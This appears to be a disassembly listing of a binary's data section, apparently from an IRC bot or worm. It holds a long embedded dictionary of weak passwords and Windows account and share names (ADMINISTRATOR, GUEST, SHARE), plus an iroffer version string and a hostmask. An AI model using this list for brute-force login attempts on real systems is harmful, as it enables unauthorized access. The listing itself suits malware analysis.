aCigarett	db 'cigarett',0         ; DATA XREF: ___:0042F53Co
		align 4
aCigar		db 'cigar',0            ; DATA XREF: ___:0042F538o
		align 4
aChristy	db 'christy',0          ; DATA XREF: ___:0042F534o
aChristin	db 'christin',0         ; DATA XREF: ___:0042F530o
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:0042F52Co
		align 10h
aChip		db 'chip',0             ; DATA XREF: ___:0042F528o
		align 4
aChester	db 'chester',0          ; DATA XREF: ___:0042F524o
aChess		db 'chess',0            ; DATA XREF: ___:0042F520o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: ___:0042F51Co
		align 4
aChem		db 'chem',0             ; DATA XREF: ___:0042F518o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: ___:0042F514o
		align 4
aCharon		db 'charon',0           ; DATA XREF: ___:0042F510o
		align 4
aCharming	db 'charming',0         ; DATA XREF: ___:0042F50Co
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: ___:0042F508o
aCharles	db 'charles',0          ; DATA XREF: ___:0042F504o
aCharity	db 'charity',0          ; DATA XREF: ___:0042F500o
aChange		db 'change',0           ; DATA XREF: ___:0042F4FCo
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: ___:0042F4F8o
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: ___:0042F4F4o
aCeltic		db 'celtic',0           ; DATA XREF: ___:0042F4F0o
		align 4
aCelt		db 'celt',0             ; DATA XREF: ___:0042F4ECo
		align 4
aCecily		db 'cecily',0           ; DATA XREF: ___:0042F4E8o
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: ___:0042F4E4o
		align 4
aCave		db 'cave',0             ; DATA XREF: ___:0042F4E0o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: ___:0042F4DCo
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: ___:0042F4D8o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: ___:0042F4D4o
		align 4
aCastle		db 'castle',0           ; DATA XREF: ___:0042F4D0o
		align 4
aCash		db 'cash',0             ; DATA XREF: ___:0042F4CCo
		align 4
aCascades	db 'cascades',0         ; DATA XREF: ___:0042F4C8o
		align 10h
aCarson		db 'carson',0           ; DATA XREF: ___:0042F4C4o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: ___:0042F4C0o
		align 10h
aCaroline	db 'caroline',0         ; DATA XREF: ___:0042F4BCo
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: ___:0042F4B8o
		align 4
aCarole		db 'carole',0           ; DATA XREF: ___:0042F4B4o
		align 10h
aCarol		db 'carol',0            ; DATA XREF: ___:0042F4B0o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: ___:0042F4ACo
		align 10h
aCarla		db 'carla',0            ; DATA XREF: ___:0042F4A8o
		align 4
aCaren		db 'caren',0            ; DATA XREF: ___:0042F4A4o
		align 10h
aCardinal	db 'cardinal',0         ; DATA XREF: ___:0042F4A0o
		align 4
aCard		db 'card',0             ; DATA XREF: ___:0042F49Co
		align 4
aCapture	db 'capture',0          ; DATA XREF: ___:0042F498o
aCaptain	db 'captain',0          ; DATA XREF: ___:0042F494o
aCantor		db 'cantor',0           ; DATA XREF: ___:0042F490o
		align 4
aCandy		db 'candy',0            ; DATA XREF: ___:0042F48Co
		align 4
aCandi		db 'candi',0            ; DATA XREF: ___:0042F488o
		align 4
aCamping	db 'camping',0          ; DATA XREF: ___:0042F484o
aCampanil	db 'campanil',0         ; DATA XREF: ___:0042F480o
		align 10h
aCamille	db 'camille',0          ; DATA XREF: ___:0042F47Co
aCaliforn	db 'californ',0         ; DATA XREF: ___:0042F478o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: ___:0042F474o
		align 10h
aButt		db 'butt',0             ; DATA XREF: ___:0042F470o
		align 4
aButch		db 'butch',0            ; DATA XREF: ___:0042F46Co
		align 10h
aBurn		db 'burn',0             ; DATA XREF: ___:0042F468o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: ___:0042F464o
aBung		db 'bung',0             ; DATA XREF: ___:0042F460o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: ___:0042F45Co
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: ___:0042F458o
		align 10h
aBulls		db 'bulls',0            ; DATA XREF: ___:0042F454o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: ___:0042F450o
		align 4
aBrute		db 'brute',0            ; DATA XREF: ___:0042F44Co
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: ___:0042F448o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: ___:0042F444o
aBroadway	db 'broadway',0         ; DATA XREF: ___:0042F440o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: ___:0042F43Co
aBrian		db 'brian',0            ; DATA XREF: ___:0042F438o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: ___:0042F434o
		align 4
aBreast		db 'breast',0           ; DATA XREF: ___:0042F430o
		align 4
aBreak		db 'break',0            ; DATA XREF: ___:0042F42Co
		align 4
aBravo		db 'bravo',0            ; DATA XREF: ___:0042F428o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: ___:0042F424o
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: ___:0042F420o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: ___:0042F41Co
aBoyscout	db 'boyscout',0         ; DATA XREF: ___:0042F418o
		align 10h
aBorn		db 'born',0             ; DATA XREF: ___:0042F414o
		align 4
aBook		db 'book',0             ; DATA XREF: ___:0042F410o
		align 10h
aBoobs		db 'boobs',0            ; DATA XREF: ___:0042F40Co
		align 4
aBoob		db 'boob',0             ; DATA XREF: ___:0042F408o
		align 10h
aBoner		db 'boner',0            ; DATA XREF: ___:0042F404o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: ___:0042F400o
		align 10h
aBoard		db 'board',0            ; DATA XREF: ___:0042F3FCo
		align 4
aBlues		db 'blues',0            ; DATA XREF: ___:0042F3F8o
		align 10h
aBlue		db 'blue',0             ; DATA XREF: ___:0042F3F4o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: ___:0042F3F0o
aBlow		db 'blow',0             ; DATA XREF: ___:0042F3ECo
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: ___:0042F3E8o
		align 4
aBlood		db 'blood',0            ; DATA XREF: ___:0042F3E4o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: ___:0042F3E0o
aBlonde		db 'blonde',0           ; DATA XREF: ___:0042F3DCo
		align 4
aBlack		db 'black',0            ; DATA XREF: ___:0042F3D8o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: ___:0042F3D4o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: ___:0042F3D0o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:0042F3CCo
		align 4
aBishop		db 'bishop',0           ; DATA XREF: ___:0042F3C8o
		align 4
aBird		db 'bird',0             ; DATA XREF: ___:0042F3C4o
		align 4
aBios		db 'bios',0             ; DATA XREF: ___:0042F3C0o
		align 4
aBinary		db 'binary',0           ; DATA XREF: ___:0042F3BCo
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:0042F3B8o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: ___:0042F3B4o
aBicamera	db 'bicamera',0         ; DATA XREF: ___:0042F3B0o
		align 4
aBible		db 'bible',0            ; DATA XREF: ___:0042F3ACo
		align 10h
aBeverly	db 'beverly',0          ; DATA XREF: ___:0042F3A8o
aBetty		db 'betty',0            ; DATA XREF: ___:0042F3A4o
		align 10h
aBetsie		db 'betsie',0           ; DATA XREF: ___:0042F3A0o
		align 4
aBeth		db 'beth',0             ; DATA XREF: ___:0042F39Co
		align 10h
aBeta		db 'beta',0             ; DATA XREF: ___:0042F398o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: ___:0042F394o
		align 10h
aBerliner	db 'berliner',0         ; DATA XREF: ___:0042F390o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: ___:0042F38Co
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: ___:0042F388o
		align 10h
aBeowulf	db 'beowulf',0          ; DATA XREF: ___:0042F384o
aBenz		db 'benz',0             ; DATA XREF: ___:0042F380o
		align 10h
aBeloved	db 'beloved',0          ; DATA XREF: ___:0042F37Co
aBell		db 'bell',0             ; DATA XREF: ___:0042F378o
		align 10h
aBehead		db 'behead',0           ; DATA XREF: ___:0042F374o
		align 4
aBegin		db 'begin',0            ; DATA XREF: ___:0042F370o
		align 10h
aBeethove	db 'beethove',0         ; DATA XREF: ___:0042F36Co
		align 4
aBecky		db 'becky',0            ; DATA XREF: ___:0042F368o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: ___:0042F364o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: ___:0042F360o
		align 4
aBeater		db 'beater',0           ; DATA XREF: ___:0042F35Co
		align 4
aBeast		db 'beast',0            ; DATA XREF: ___:0042F358o
		align 4
aBear		db 'bear',0             ; DATA XREF: ___:0042F354o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: ___:0042F350o
		align 4
aBeach		db 'beach',0            ; DATA XREF: ___:0042F34Co
		align 10h
aBatman		db 'batman',0           ; DATA XREF: ___:0042F348o
		align 4
aBatch		db 'batch',0            ; DATA XREF: ___:0042F344o
		align 10h
aBassoon	db 'bassoon',0          ; DATA XREF: ___:0042F340o
aBass		db 'bass',0             ; DATA XREF: ___:0042F33Co
		align 10h
aBasic		db 'basic',0            ; DATA XREF: ___:0042F338o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: ___:0042F334o
		align 4
aBartman	db 'bartman',0          ; DATA XREF: ___:0042F330o
aBart		db 'bart',0             ; DATA XREF: ___:0042F32Co
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: ___:0042F328o
		align 10h
aBarf		db 'barf',0             ; DATA XREF: ___:0042F324o
		align 4
aBare		db 'bare',0             ; DATA XREF: ___:0042F320o
		align 10h
aBarber		db 'barber',0           ; DATA XREF: ___:0042F31Co
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: ___:0042F318o
aBanks		db 'banks',0            ; DATA XREF: ___:0042F314o
		align 4
aBank		db 'bank',0             ; DATA XREF: ___:0042F310o
		align 10h
aBandit		db 'bandit',0           ; DATA XREF: ___:0042F30Co
		align 4
aBananas	db 'bananas',0          ; DATA XREF: ___:0042F308o
aBanana		db 'banana',0           ; DATA XREF: ___:0042F304o
		align 4
aBall		db 'ball',0             ; DATA XREF: ___:0042F300o
		align 10h
aBailey		db 'bailey',0           ; DATA XREF: ___:0042F2FCo
		align 4
aBadass		db 'badass',0           ; DATA XREF: ___:0042F2F8o
		align 10h
aBackdoor	db 'backdoor',0         ; DATA XREF: ___:0042F2F4o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: ___:0042F2F0o
aBaby		db 'baby',0             ; DATA XREF: ___:0042F2ECo
		align 4
aBabe		db 'babe',0             ; DATA XREF: ___:0042F2E8o
		align 4
aAzure		db 'azure',0            ; DATA XREF: ___:0042F2E4o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: ___:0042F2E0o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: ___:0042F2DCo
		align 10h
aAttack		db 'attack',0           ; DATA XREF: ___:0042F2D8o
		align 4
aAtom		db 'atom',0             ; DATA XREF: ___:0042F2D4o
		align 10h
aAtmosphe	db 'atmosphe',0         ; DATA XREF: ___:0042F2D0o
		align 4
aAthena		db 'athena',0           ; DATA XREF: ___:0042F2CCo
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: ___:0042F2C8o
aAsian		db 'asian',0            ; DATA XREF: ___:0042F2C4o
		align 4
aArtist		db 'artist',0           ; DATA XREF: ___:0042F2C0o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: ___:0042F2BCo
		align 4
aArrow		db 'arrow',0            ; DATA XREF: ___:0042F2B8o
		align 4
aArmy		db 'army',0             ; DATA XREF: ___:0042F2B4o
		align 4
aArlene		db 'arlene',0           ; DATA XREF: ___:0042F2B0o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: ___:0042F2ACo
aAria		db 'aria',0             ; DATA XREF: ___:0042F2A8o
		align 4
aApril		db 'april',0            ; DATA XREF: ___:0042F2A4o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: ___:0042F2A0o
		align 10h
aAnything	db 'anything',0         ; DATA XREF: ___:0042F29Co
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: ___:0042F298o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: ___:0042F294o
		align 10h
aAnthrax	db 'anthrax',0          ; DATA XREF: ___:0042F290o
aAnswer		db 'answer',0           ; DATA XREF: ___:0042F28Co
		align 10h
aAnonymou	db 'anonymou',0         ; DATA XREF: ___:0042F288o
		align 4
aAnon		db 'anon',0             ; DATA XREF: ___:0042F284o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: ___:0042F280o
aAnne		db 'anne',0             ; DATA XREF: ___:0042F27Co
		align 4
aAnna		db 'anna',0             ; DATA XREF: ___:0042F278o
		align 4
aAnita		db 'anita',0            ; DATA XREF: ___:0042F274o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: ___:0042F270o
aAnimal		db 'animal',0           ; DATA XREF: ___:0042F26Co
		align 4
aAngie		db 'angie',0            ; DATA XREF: ___:0042F268o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: ___:0042F264o
		align 4
aAngela		db 'angela',0           ; DATA XREF: ___:0042F260o
		align 10h
aAnfo		db 'anfo',0             ; DATA XREF: ___:0042F25Co
		align 4
aAndy		db 'andy',0             ; DATA XREF: ___:0042F258o
		align 10h
aAndromac	db 'andromac',0         ; DATA XREF: ___:0042F254o
		align 4
aAndroid	db 'android',0          ; DATA XREF: ___:0042F250o
aAndrea		db 'andrea',0           ; DATA XREF: ___:0042F24Co
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: ___:0042F248o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: ___:0042F244o
aAnarchis	db 'anarchis',0         ; DATA XREF: ___:0042F240o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: ___:0042F23Co
		align 10h
aAnal		db 'anal',0             ; DATA XREF: ___:0042F238o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: ___:0042F234o
		align 4
aAmerica	db 'america',0          ; DATA XREF: ___:0042F230o
aAmber		db 'amber',0            ; DATA XREF: ___:0042F22Co
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: ___:0042F228o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: ___:0042F224o
aAlphabet	db 'alphabet',0         ; DATA XREF: ___:0042F220o
		align 10h
aAllow		db 'allow',0            ; DATA XREF: ___:0042F21Co
		align 4
aAllison	db 'allison',0          ; DATA XREF: ___:0042F218o
aAlison		db 'alison',0           ; DATA XREF: ___:0042F214o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: ___:0042F210o
		align 10h
aAlicia		db 'alicia',0           ; DATA XREF: ___:0042F20Co
		align 4
aAlice		db 'alice',0            ; DATA XREF: ___:0042F208o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: ___:0042F204o
aAlias		db 'alias',0            ; DATA XREF: ___:0042F200o
		align 10h
aAlgebra	db 'algebra',0          ; DATA XREF: ___:0042F1FCo
aAlexande	db 'alexande',0         ; DATA XREF: ___:0042F1F8o
		align 4
aAlex		db 'alex',0             ; DATA XREF: ___:0042F1F4o
		align 4
aAlert		db 'alert',0            ; DATA XREF: ___:0042F1F0o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: ___:0042F1ECo
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: ___:0042F1E8o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: ___:0042F1E4o
		align 10h
aAlaska		db 'alaska',0           ; DATA XREF: ___:0042F1E0o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: ___:0042F1DCo
		align 4
aAids		db 'aids',0             ; DATA XREF: ___:0042F1D8o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: ___:0042F1D4o
		align 4
aAdult		db 'adult',0            ; DATA XREF: ___:0042F1D0o
		align 10h
aAdrianna	db 'adrianna',0         ; DATA XREF: ___:0042F1CCo
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: ___:0042F1C8o
		align 4
aAdam		db 'adam',0             ; DATA XREF: ___:0042F1C4o
		align 4
aAction		db 'action',0           ; DATA XREF: ___:0042F1C0o
		align 4
aAccount	db 'account',0          ; DATA XREF: ___:0042F1BCo
aAcademic	db 'academic',0         ; DATA XREF: ___:0042F1B4o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: ___:0042F1B0o
		align 4
a000000		db '000000',0           ; DATA XREF: ___:0042F1ACo
		align 4
a00000		db '00000',0            ; DATA XREF: ___:0042F1A8o
		align 4
a0000		db '0000',0             ; DATA XREF: ___:0042F1A4o
		align 4
a000		db '000',0              ; DATA XREF: ___:0042F1A0o
aTesting	db 'testing',0          ; DATA XREF: ___:0042F19Co
aDeath		db 'death',0            ; DATA XREF: ___:0042F198o
		align 10h
a00		db '00',0               ; DATA XREF: ___:0042F194o
		align 4
a0:					; DATA XREF: ___:0042F190o
		unicode	0, <0>,0
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: ___:0042F18Co
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: ___:0042F188o
		align 10h
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: ___:0042F184o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: ___:0042F180o
		align 10h
aXxxxx		db 'xxxxx',0            ; DATA XREF: ___:0042F17Co
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: ___:0042F178o
		align 10h
aXxx		db 'xxx',0              ; DATA XREF: ___:0042F174o
aXx		db 'xx',0               ; DATA XREF: ___:0042F170o
		align 4
asc_4343A8:				; DATA XREF: ___:0042F16Co
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: ___:0042F168o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: ___:0042F164o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: ___:0042F160o
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: ___:0042F15Co
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: ___:0042F158o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: ___:0042F154o
		align 4
aScript		db 'script',0           ; DATA XREF: ___:0042F150o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: ___:0042F14Co
		align 4
aHacker		db 'hacker',0           ; DATA XREF: ___:0042F148o
		align 4
aL337		db 'l337',0             ; DATA XREF: ___:0042F144o
		align 4
aL33t		db 'l33t',0             ; DATA XREF: ___:0042F140o
		align 4
aLeet		db 'leet',0             ; DATA XREF: ___:0042F13Co
		align 4
aKiller		db 'killer',0           ; DATA XREF: ___:0042F138o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: ___:0042F134o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: ___:0042F130o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: ___:0042F12Co
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: ___:0042F128o
		align 10h
aSatanic	db 'satanic',0          ; DATA XREF: ___:0042F124o
aSatanik	db 'satanik',0          ; DATA XREF: ___:0042F120o
aSatan		db 'satan',0            ; DATA XREF: ___:0042F11Co
		align 4
aGobo		db 'gobo',0             ; DATA XREF: ___:0042F118o
		align 10h
aMatthew	db 'Matthew',0          ; DATA XREF: ___:0042F114o
aMatt		db 'Matt',0             ; DATA XREF: ___:0042F110o
		align 10h
aMat		db 'Mat',0              ; DATA XREF: ___:0042F10Co
aPw		db 'pw',0               ; DATA XREF: ___:0042F108o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: ___:0042F104o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: ___:0042F100o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: ___:0042F0FCo
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: ___:0042F0F8o
		align 10h
aMypc123	db 'mypc123',0          ; DATA XREF: ___:0042F0F4o
aMypc		db 'mypc',0             ; DATA XREF: ___:0042F0F0o
		align 10h
aLove		db 'love',0             ; DATA XREF: ___:0042F0ECo
		align 4
aPwd		db 'pwd',0              ; DATA XREF: ___:0042F0E8o
aLogin_1	db 'login',0            ; DATA XREF: ___:0042F0E4o
		align 4
aHome		db 'home',0             ; DATA XREF: ___:0042F0E0o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: ___:0042F0DCo
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: ___:0042F0D8o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: ___:0042F0D4o
		align 4
aSecret		db 'secret',0           ; DATA XREF: ___:0042F0D0o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: ___:0042F0CCo
		align 4
aPc		db 'pc',0               ; DATA XREF: ___:0042F0C8o
		align 4
aWin		db 'win',0              ; DATA XREF: ___:0042F0C4o
aTest123	db 'test123',0          ; DATA XREF: ___:0042F0C0o
aAbc		db 'abc',0              ; DATA XREF: ___:0042F0BCo
aAaa		db 'aaa',0              ; DATA XREF: ___:0042F0B8o
aA_0:					; DATA XREF: ___:0042F0B4o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: ___:0042F0B0o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: ___:0042F0ACo
		align 10h
aNetfuck	db 'netfuck',0          ; DATA XREF: ___:0042F0A8o
aIrule		db 'irule',0            ; DATA XREF: ___:0042F0A4o
		align 10h
aOwned		db 'owned',0            ; DATA XREF: ___:0042F0A0o
		align 4
a0wned		db '0wned',0            ; DATA XREF: ___:0042F09Co
		align 10h
aNetDevil	db 'net-devil',0        ; DATA XREF: ___:0042F098o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: ___:0042F094o
		align 4
aDevil		db 'devil',0            ; DATA XREF: ___:0042F090o
		align 10h
aNilez		db 'Nilez',0            ; DATA XREF: ___:0042F08Co
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: ___:0042F088o
		align 10h
aGod		db 'god',0              ; DATA XREF: ___:0042F084o
aSex		db 'sex',0              ; DATA XREF: ___:0042F080o
aPat		db 'pat',0              ; DATA XREF: ___:0042F07Co
aPatrick	db 'patrick',0          ; DATA XREF: ___:0042F078o
aAlpha		db 'alpha',0            ; DATA XREF: ___:0042F074o
		align 4
a007		db '007',0              ; DATA XREF: ___:0042F070o
a123abc		db '123abc',0           ; DATA XREF: ___:0042F06Co
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: ___:0042F068o
		align 4
a123123		db '123123',0           ; DATA XREF: ___:0042F064o
		align 4
a121212		db '121212',0           ; DATA XREF: ___:0042F060o
		align 4
a111111		db '111111',0           ; DATA XREF: ___:0042F05Co
		align 4
a110		db '110',0              ; DATA XREF: ___:0042F058o
a2600		db '2600',0             ; DATA XREF: ___:0042F054o
		align 4
a2002		db '2002',0             ; DATA XREF: ___:0042F04Co
		align 10h
aXp_0		db 'xp',0               ; DATA XREF: ___:0042F048o
		align 4
aEnable		db 'enable',0           ; DATA XREF: ___:0042F044o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: ___:0042F040o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: ___:0042F03Co
a123asd		db '123asd',0           ; DATA XREF: ___:0042F038o
		align 4
aSuper		db 'super',0            ; DATA XREF: ___:0042F034o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: ___:0042F030o
		align 10h
a123qwe		db '123qwe',0           ; DATA XREF: ___:0042F028o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: ___:0042F024o
		align 10h
aAbc123		db 'abc123',0           ; DATA XREF: ___:0042F01Co
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: ___:0042F018o
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: ___:0042F010o
		align 4
aPass_1		db 'pass',0             ; DATA XREF: ___:0042F00Co
		align 10h
a88888888	db '88888888',0         ; DATA XREF: ___:0042F008o
		align 4
a11111111	db '11111111',0         ; DATA XREF: ___:0042F004o
		align 4
a111		db '111',0              ; DATA XREF: ___:0042F000o
a54321		db '54321',0            ; DATA XREF: ___:0042EFFCo
		align 4
a654321		db '654321',0           ; DATA XREF: ___:0042EFF8o
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:0042EFF4o
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:0042EFF0o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:0042EFECo
a123456		db '123456',0           ; DATA XREF: ___:0042EFE8o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:0042EFE4o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:0042EFE0o
		align 4
a123		db '123',0              ; DATA XREF: ___:0042EFDCo
a12		db '12',0               ; DATA XREF: ___:0042EFD8o
		align 4
a1:					; DATA XREF: ___:004160ACo
					; ___:0042EFD4o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: ___:0042EFD0o
aChangeme_0	db 'Changeme',0         ; DATA XREF: ___:0042EFCCo
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042EFC8o
		align 10h
aLinux		db 'linux',0            ; DATA XREF: ___:0042EFC4o
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:0042EFC0o
		align 10h
aLocal		db 'LOCAL',0            ; DATA XREF: ___:0042EFBCo
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: ___:0042EFB8o
		align 10h
aServer_0	db 'SERVER',0           ; DATA XREF: ___:0042EFB4o
		align 4
aSystem		db 'SYSTEM',0           ; DATA XREF: ___:0042EFB0o
		align 10h
aBackup		db 'BACKUP',0           ; DATA XREF: ___:0042EFACo
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: ___:0042EFA4o
		align 10h
aTest		db 'TEST',0             ; DATA XREF: ___:0042EFA0o
		align 4
aEdu		db 'edu',0              ; DATA XREF: ___:0042EF9Co
aOwner_1	db 'Owner',0            ; DATA XREF: ___:0042EF98o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: ___:0042EF94o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: ___:0042EF90o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: ___:0042EF8Co
		align 4
aRead		db 'READ',0             ; DATA XREF: ___:0042EF88o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: ___:0042EF84o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: ___:0042EF80o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: ___:0042EF7Co
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: ___:0042EF78o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: ___:0042EF74o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: ___:0042EF70o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: ___:0042EF6Co
		align 10h
aAdmin_0	db 'ADMIN',0            ; DATA XREF: ___:0042EF68o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: ___:0042EF60o
		align 10h
aGuest_1	db 'GUEST',0            ; DATA XREF: ___:0042EF5Co
		align 4
aBla		db 'bla',0              ; DATA XREF: ___:0042EF58o
aFubar		db 'fubar',0            ; DATA XREF: ___:0042EF54o
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: ___:0042EF48o
		align 4
aDb2		db 'db2',0              ; DATA XREF: ___:0042EF38o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042EF34o
					; ___:0042F020o
		align 10h
aDba		db 'dba',0              ; DATA XREF: ___:0042EF30o
aDatabase	db 'database',0         ; DATA XREF: ___:0042EF2Co
					; ___:0042F014o
		align 10h
aDefault	db 'default',0          ; DATA XREF: ___:0042EF28o
					; ___:0042F6B4o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042EF24o
		align 10h
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: ___:0042EF20o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:0042EF1Co
					; ___:00430648o
aStudent	db 'student',0          ; DATA XREF: ___:0042EF18o
					; ___:00430590o
aOwner		db 'owner',0            ; DATA XREF: ___:0042EF14o
		align 4
aComputer	db 'computer',0         ; DATA XREF: ___:0042EF10o
					; ___:0042F02Co
		align 10h
aStaff		db 'staff',0            ; DATA XREF: ___:0042EF08o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:0042EF00o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: ___:0042EEFCo
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:0042EEF8o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:0042EEF4o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042EEF0o
					; ___:0042EF50o
		align 4
aIrofferV1_3b10	db 'iroffer v1.3b10 [Ud2 23874155], http://iroffer.org/',0
					; DATA XREF: ___:off_42EE40o
a@arrapao	db '*@arrapao',0        ; DATA XREF: ___:off_42EE3Co
		align 4
unk_4348AC	db    2			; DATA XREF: ___:0040F1AAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
